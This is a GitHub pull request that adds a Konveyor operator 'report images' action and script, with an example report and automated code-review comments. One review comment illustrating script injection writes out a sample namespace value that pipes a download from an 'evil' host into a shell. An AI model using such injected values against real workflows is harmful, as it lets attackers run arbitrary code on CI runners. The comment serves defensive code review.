✨ Add a "report images" action#564
Open
sjd78 wants to merge 2 commits into
Open
Conversation
Adds a GitHub Actions workflow that will report the runtime configuration and images for a Konveyor operator. This change be useful in CI/CD pipelines to ensure that the operator is configured as expected for the current workflow run. The report is a bash script that can be called from the command line. Assisted-by: Cursor:claude-4.6-opus Signed-off-by: Scott J Dickerson <sdickers@redhat.com>
📝 WalkthroughWalkthroughThis PR introduces a complete runtime configuration reporting system for Konveyor operator deployments. A new Node.js CLI script queries live Kubernetes/OpenShift clusters to collect operator metadata, feature flags, image catalogs, running containers, and custom resources, then generates JSON or Markdown reports with drift detection and relationship graphs. ChangesRuntime Configuration Reporting
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~20 minutes
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Member
Author
Example report:Konveyor Operator - Runtime Image ReportNamespace: Operator
Feature FlagsThese flags determine which optional components are deployed.
Image Catalog (from Operator Deployment env)All images the operator is configured to deploy. Status reflects current feature flags.
Tackle CR OverridesThe Tackle CR spec overrides the following images (these take precedence over the operator env vars):
Running ContainersActual container images currently deployed in the namespace.
Addon CRs
Extension CRs
OLM ClusterServiceVersion - Related ImagesImages declared in the CSV
Image Drift DetectionCompares operator-configured images (env vars) against what is actually running. No drift detected. All running images match operator configuration. |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@hack/report-images.sh`:
- Around line 45-53: The argument parsing reads $2 unconditionally for
-n/--namespace and -m/--map which triggers an unbound-variable error under set
-u; update the case branch for "-n|--namespace" and "-m|--map" in the while/case
block to first verify that at least one more positional argument exists (e.g. [[
$# -ge 2 ]]) and that "$2" is not another option (does not start with '-'), and
if the check fails print a clear error (or call usage) and exit non-zero; only
then assign NAMESPACE="$2" / MAP_FILE="$2" and shift 2.
- Around line 331-344: The current DRIFT jq pipeline iterates running containers
and can produce false positives when a single sidecar image differs and also
omits components with no matching deployments; update the jq expression (the
DRIFT assignment that uses IMAGE_CATALOG and RUNNING_CONTAINERS) to iterate over
each $catalog entry instead, find all running images whose .deployment
startswith($entry.deployment_prefix) (use that list or null if empty), then
compare: emit a drift row if none of the matched running images equals
$entry.image (and include running: the list or null) and also emit a "not
running" row when there are no matches; keep the unique_by(.env_var) de-dup but
ensure the running value is a list or null so sidecars won't cause a false
positive when the main configured image is present.
- Around line 91-110: OPERATOR_JSON fallback to '{}' still allows jq to hit
nulls when OPERATOR_DATA tries to iterate
.spec.template.spec.containers[0].env[], so change OPERATOR_DATA to use
safe/defaulting navigation (e.g. use .spec.template.spec.containers[0].env // []
or the optional ? operator and default containers to an empty array) and default
any missing container/env fields before indexing; update the jq expressions that
build image, app_name, version, profile and image_catalog to handle missing
containers/env by defaulting to "unknown" or {} and using (.env // []) and
(.spec.template.spec.containers // []) so jq never tries to iterate over null.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 7165bf3e-ff36-48c1-b2b2-768907a6e5ec
📒 Files selected for processing (3)
.github/actions/report-images/action.ymlhack/report-images-map.jsonhack/report-images.sh
Signed-off-by: Scott J Dickerson <sdickers@redhat.com>
There was a problem hiding this comment.
Actionable comments posted: 3
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
.github/actions/report-images/action.yml (2)
45-45:⚠️ Potential issue | 🟠 Major | ⚡ Quick winAvoid interpolating
${{ inputs.namespace }}directly into the shell script (script injection).GitHub Actions expands
${{ }}expressions into the script body before bash runs, so a caller-supplied namespace such asx"; curl evil | sh #would execute arbitrary commands on the runner. Pass the value throughenvand reference the shell variable instead.🛡️ Proposed fix using an env var
- name: Verify cluster access shell: bash + env: + NAMESPACE: ${{ inputs.namespace }} run: | KUBECTL="kubectl" if ! command -v kubectl &>/dev/null; then if command -v oc &>/dev/null; then KUBECTL="oc" else echo "::error::Neither kubectl nor oc found in PATH" exit 1 fi fi - $KUBECTL get namespace "${{ inputs.namespace }}" >/dev/null + $KUBECTL get namespace "$NAMESPACE" >/dev/null🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/actions/report-images/action.yml at line 45, The action currently interpolates the expression "${{ inputs.namespace }}" directly into the script (seen in the shell line using $KUBECTL get namespace "${{ inputs.namespace }}" >/dev/null) which risks script injection; instead, expose the input via an environment variable (e.g., NAMESPACE: ${{ inputs.namespace }}) in the action.yml step and reference the shell variable (e.g., "$NAMESPACE") inside the run command, keeping it quoted; update the step that invokes $KUBECTL (and any other places using inputs.namespace) to use the shell variable rather than the pre-expanded expression.
47-54:⚠️ Potential issue | 🟠 Major | ⚡ Quick winUse an
envbinding forinputs.namespaceto avoid bash quoting/injection issues (and no need to changereport.jsexecution).In
.github/actions/report-images/action.yml(lines 47-54),${{ inputs.namespace }}is inlined into therunscript; if it contains quotes/metacharacters it can break the surrounding bash quoting. Bind it viaenvand use"$NAMESPACE"for both invocations.hack/runtime-configuration/report.jsis already executable and has#!/usr/bin/env node, so the direct invocation is fine.🛡️ Proposed fix using an env var
- name: Generate image report id: report shell: bash + env: + NAMESPACE: ${{ inputs.namespace }} working-directory: ${{ github.action_path }}/../../.. run: | - hack/runtime-configuration/report.js -n "${{ inputs.namespace }}" >> "$GITHUB_STEP_SUMMARY" + hack/runtime-configuration/report.js -n "$NAMESPACE" >> "$GITHUB_STEP_SUMMARY" - JSON=$(hack/runtime-configuration/report.js -n "${{ inputs.namespace }}" --json) + JSON=$(hack/runtime-configuration/report.js -n "$NAMESPACE" --json)🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/actions/report-images/action.yml around lines 47 - 54, The step "Generate image report" in the action inlines ${{ inputs.namespace }} into the run script which can cause bash quoting/injection issues; add an env binding (e.g., env: NAMESPACE: ${{ inputs.namespace }}) on the same step (id: report) and update the run block to use "$NAMESPACE" for both invocations of hack/runtime-configuration/report.js so the namespace value is passed safely to the script.
🧹 Nitpick comments (1)
hack/runtime-configuration/report.js (1)
77-95: ⚡ Quick winPrefer
execFileSyncwith an argument array over interpolated shell strings.
kubectl()andkubectlRaw()build a command string that interpolatesNAMESPACE(a CLI argument) and pass it throughexecSync, which runs via a shell. A namespace value containing shell metacharacters would be interpreted by the shell. Even though inputs are CI-controlled today, switching toexecFileSyncremoves the shell entirely and resolves the OpenGrep findings on lines 82 and 91.♻️ Proposed refactor
-import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; @@ function kubectl(resource, opts = {}) { - const ns = opts.allNamespaces ? "" : `-n ${NAMESPACE}`; - const output = opts.outputType || "json"; - const cmd = `${KUBECTL} get ${resource} ${ns} -o ${output}`; - try { - const result = execSync(cmd, { stdio: "pipe", encoding: "utf-8" }); - return output === "json" ? JSON.parse(result) : result; - } catch { - return opts.fallback ?? null; - } + const output = opts.outputType || "json"; + const nsArgs = opts.allNamespaces ? [] : ["-n", NAMESPACE]; + const cmdArgs = ["get", resource, ...nsArgs, "-o", output]; + try { + const result = execFileSync(KUBECTL, cmdArgs, { stdio: "pipe", encoding: "utf-8" }); + return output === "json" ? JSON.parse(result) : result; + } catch { + return opts.fallback ?? null; + } }
kubectlRawandresolveKubectlwould similarly take/forward an argument array instead of a single command string.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@hack/runtime-configuration/report.js` around lines 77 - 95, Replace shell-invoked execSync calls with execFileSync and pass arguments as an array to avoid shell interpolation: in kubectl build an args array like ["get", resource, "-o", output] and if opts.allNamespaces is false push "-n" and NAMESPACE (use the NAMESPACE symbol), then call execFileSync(KUBECTL, args, {stdio:"pipe", encoding:"utf-8"}) and parse JSON only when output === "json" (preserve fallback behavior). Change kubectlRaw to accept/forward an args array (or split the incoming command into args) and call execFileSync(KUBECTL, args, ...) instead of execSync with an interpolated string; also update any resolveKubectl usage to pass argument arrays accordingly.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@hack/runtime-configuration/report.js`:
- Around line 2-12: Update the banner comment at the top of the file and the
help/usage text emitted by the script (the usage block shown when invoking
--help) so they reference "hack/runtime-configuration/report.js" instead of
"hack/runtime-deployment.js"; locate and change the top-of-file header comment
and the help/usage string(s) that print the example invocations to use the
correct script name so the examples are copy-pasteable.
- Line 495: The note string currently points to a non-existent file; update the
message assigned to the variable note so it references the actual component map
file used by this script (known-components-flags-map.json) instead of
hack/report-images-map.json. Locate the code that constructs note (variable
note) and replace the wrong filename with the correct filename (or better,
derive the filename from the same constant/loader that reads the component map
at the top of report.js) so the help text always matches the loaded map.
- Around line 81-86: The blanket catch around the execSync call masks real
failures; update the try/catch in the block that calls execSync(cmd, { stdio:
"pipe", encoding: "utf-8" }) to (1) raise the subprocess maxBuffer (e.g., pass {
maxBuffer: 10 * 1024 * 1024, stdio: "pipe", encoding: "utf-8" }) to avoid silent
overflows, and (2) inspect the caught error and only return opts.fallback when
the error indicates a missing resource (e.g., a stderr string or code that
matches "NotFound"/resource-not-found semantics); for all other errors rethrow
or surface them (preserve existing JSON parse behavior for output === "json").
Ensure you reference execSync, cmd, opts.fallback and the surrounding try/catch
when making the change.
---
Outside diff comments:
In @.github/actions/report-images/action.yml:
- Line 45: The action currently interpolates the expression "${{
inputs.namespace }}" directly into the script (seen in the shell line using
$KUBECTL get namespace "${{ inputs.namespace }}" >/dev/null) which risks script
injection; instead, expose the input via an environment variable (e.g.,
NAMESPACE: ${{ inputs.namespace }}) in the action.yml step and reference the
shell variable (e.g., "$NAMESPACE") inside the run command, keeping it quoted;
update the step that invokes $KUBECTL (and any other places using
inputs.namespace) to use the shell variable rather than the pre-expanded
expression.
- Around line 47-54: The step "Generate image report" in the action inlines ${{
inputs.namespace }} into the run script which can cause bash quoting/injection
issues; add an env binding (e.g., env: NAMESPACE: ${{ inputs.namespace }}) on
the same step (id: report) and update the run block to use "$NAMESPACE" for both
invocations of hack/runtime-configuration/report.js so the namespace value is
passed safely to the script.
---
Nitpick comments:
In `@hack/runtime-configuration/report.js`:
- Around line 77-95: Replace shell-invoked execSync calls with execFileSync and
pass arguments as an array to avoid shell interpolation: in kubectl build an
args array like ["get", resource, "-o", output] and if opts.allNamespaces is
false push "-n" and NAMESPACE (use the NAMESPACE symbol), then call
execFileSync(KUBECTL, args, {stdio:"pipe", encoding:"utf-8"}) and parse JSON
only when output === "json" (preserve fallback behavior). Change kubectlRaw to
accept/forward an args array (or split the incoming command into args) and call
execFileSync(KUBECTL, args, ...) instead of execSync with an interpolated
string; also update any resolveKubectl usage to pass argument arrays
accordingly.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: f98a30eb-4517-423b-9d9b-cb33deb5219f
📒 Files selected for processing (4)
.github/actions/report-images/action.ymlhack/runtime-configuration/README.mdhack/runtime-configuration/known-components-flags-map.jsonhack/runtime-configuration/report.js
💤 Files with no reviewable changes (1)
- hack/runtime-configuration/known-components-flags-map.json
✅ Files skipped from review due to trivial changes (1)
- hack/runtime-configuration/README.md
Comment on lines
+2
to
+12
| // hack/runtime-deployment.js - Runtime deployment introspection for konveyor-operator | ||
| // | ||
| // Queries a live cluster to report all container images, CRD instances, and | ||
| // deployment topology for the Konveyor operator stack. | ||
| // | ||
| // Usage: | ||
| // node hack/runtime-deployment.js # markdown (default) | ||
| // node hack/runtime-deployment.js --json # JSON output | ||
| // node hack/runtime-deployment.js -n <namespace> # custom namespace | ||
| // | ||
| // Requires: kubectl (or oc) in PATH, Node.js >= 22 |
There was a problem hiding this comment.
Stale script path in header and --help text.
The banner comment (and the --help output on lines 41-51) refer to hack/runtime-deployment.js, but the file lives at hack/runtime-configuration/report.js. Update the documented invocation so the usage examples are copy-pasteable.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@hack/runtime-configuration/report.js` around lines 2 - 12, Update the banner
comment at the top of the file and the help/usage text emitted by the script
(the usage block shown when invoking --help) so they reference
"hack/runtime-configuration/report.js" instead of "hack/runtime-deployment.js";
locate and change the top-of-file header comment and the help/usage string(s)
that print the example invocations to use the correct script name so the
examples are copy-pasteable.
Comment on lines
+81
to
+86
| try { | ||
| const result = execSync(cmd, { stdio: "pipe", encoding: "utf-8" }); | ||
| return output === "json" ? JSON.parse(result) : result; | ||
| } catch { | ||
| return opts.fallback ?? null; | ||
| } |
There was a problem hiding this comment.
Blanket catch can mask real failures and silently emit an empty report.
The catch returns opts.fallback for any error, so authorization failures, transient API errors, or a maxBuffer overflow are indistinguishable from "resource not found." Note that execSync's default maxBuffer (~1 MB) is realistic to exceed for csv (CSV manifests with relatedImages and install strategies are often several MB) or cluster-wide deployments, in which case the section is silently dropped from the report. Consider raising maxBuffer and not swallowing non-"NotFound" errors.
🛡️ Suggested guard
- const result = execSync(cmd, { stdio: "pipe", encoding: "utf-8" });
+ const result = execSync(cmd, {
+ stdio: "pipe",
+ encoding: "utf-8",
+ maxBuffer: 64 * 1024 * 1024,
+ });📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| try { | |
| const result = execSync(cmd, { stdio: "pipe", encoding: "utf-8" }); | |
| return output === "json" ? JSON.parse(result) : result; | |
| } catch { | |
| return opts.fallback ?? null; | |
| } | |
| try { | |
| const result = execSync(cmd, { | |
| stdio: "pipe", | |
| encoding: "utf-8", | |
| maxBuffer: 64 * 1024 * 1024, | |
| }); | |
| return output === "json" ? JSON.parse(result) : result; | |
| } catch { | |
| return opts.fallback ?? null; | |
| } |
🧰 Tools
🪛 OpenGrep (1.22.0)
[ERROR] 82-82: Dynamic command passed to child_process.exec/execSync. Use child_process.execFile or spawn with an argument array instead.
(coderabbit.command-injection.exec-js)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@hack/runtime-configuration/report.js` around lines 81 - 86, The blanket catch
around the execSync call masks real failures; update the try/catch in the block
that calls execSync(cmd, { stdio: "pipe", encoding: "utf-8" }) to (1) raise the
subprocess maxBuffer (e.g., pass { maxBuffer: 10 * 1024 * 1024, stdio: "pipe",
encoding: "utf-8" }) to avoid silent overflows, and (2) inspect the caught error
and only return opts.fallback when the error indicates a missing resource (e.g.,
a stderr string or code that matches "NotFound"/resource-not-found semantics);
for all other errors rethrow or surface them (preserve existing JSON parse
behavior for output === "json"). Ensure you reference execSync, cmd,
opts.fallback and the surrounding try/catch when making the change.
| const unmapped = imageCatalog.filter((e) => !e.inMap); | ||
| let note = ""; | ||
| if (unmapped.length > 0) { | ||
| note = `\n> **Note:** ${unmapped.length} image(s) not in component map. Update \`hack/report-images-map.json\`.`; |
There was a problem hiding this comment.
Note points users to a non-existent file.
The instruction references hack/report-images-map.json, but the component map loaded by this script (line 25) is known-components-flags-map.json in this directory. Users following this note will edit the wrong (missing) file.
📝 Proposed fix
- note = `\n> **Note:** ${unmapped.length} image(s) not in component map. Update \`hack/report-images-map.json\`.`;
+ note = `\n> **Note:** ${unmapped.length} image(s) not in component map. Update \`hack/runtime-configuration/known-components-flags-map.json\`.`;📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| note = `\n> **Note:** ${unmapped.length} image(s) not in component map. Update \`hack/report-images-map.json\`.`; | |
| note = `\n> **Note:** ${unmapped.length} image(s) not in component map. Update \`hack/runtime-configuration/known-components-flags-map.json\`.`; |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@hack/runtime-configuration/report.js` at line 495, The note string currently
points to a non-existent file; update the message assigned to the variable note
so it references the actual component map file used by this script
(known-components-flags-map.json) instead of hack/report-images-map.json. Locate
the code that constructs note (variable note) and replace the wrong filename
with the correct filename (or better, derive the filename from the same
constant/loader that reads the component map at the top of report.js) so the
help text always matches the loaded map.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Adds a GitHub Actions workflow that will report the runtime configuration and images for a Konveyor operator. This change be useful in CI/CD pipelines to ensure that the operator is configured as expected for the current workflow run.
The report is a bash script that can be called from the command line.
Assisted-by: Cursor:claude-4.6-opus
Summary by CodeRabbit
Release Notes
New Features
Documentation